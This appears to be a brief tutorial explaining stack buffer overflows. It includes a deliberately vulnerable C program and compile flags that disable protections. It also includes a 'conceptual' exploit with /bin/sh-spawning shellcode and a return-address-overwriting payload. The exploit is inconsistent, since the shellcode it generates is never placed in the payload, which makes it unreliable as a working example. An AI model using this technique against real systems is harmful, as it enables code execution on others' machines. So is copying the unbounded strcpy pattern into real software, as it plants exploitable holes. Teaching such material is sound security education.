Buffer OverFlow

What Is a Buffer Overflow?

A buffer overflow occurs when a program writes more data to a buffer than it can hold, overwriting adjacent memory. This can lead to crashes or allow attackers to execute arbitrary code.

How Does It Happen?

Most buffer overflows happen due to unsafe functions like strcpy() or lack of input validation in C/C++ programs. When user input exceeds the buffer size, data spills into critical memory areas, such as the stack.

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Simple Buffer Overflow PoC

Below is a minimal example demonstrating how a buffer overflow can be exploited to overwrite the return address on the stack.

Vulnerable Program:

#include <stdio.h>
#include <string.h>

void vulnerableFunction(char *input) {
    char buffer[100];
    strcpy(buffer, input); // No bounds checking
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerableFunction(argv[1]);
    return 0;
}

How to Exploit:

1. Compile with gcc -fno-stack-protector -z execstack -o vuln vuln.c to disable protections.

2. Generate a payload that overwrites the return address with the address of injected shellcode.

Simple Exploit (Conceptual):

# Generate shellcode (e.g., spawn shell)
shellcode=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")')

# Pad payload to fill buffer and overwrite return address
# Note: Actual address of shellcode would be determined via debugging
# For illustration, assume shellcode is at known address 0xbffff0c0
payload=$(python -c "print('A'*100 + 'B'*4 + '\xc0\xf0\xff\xbf')") 

./vuln "$payload"

Note: This is a simplified example. Real exploits require precise control over memory addresses and careful crafting of payloads, often using tools like gdb and pwntools.

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Key Takeaways

• Buffer overflows happen when input exceeds buffer size.

• Attackers can overwrite control data like return addresses.

• Proper input validation and modern protections prevent exploitation.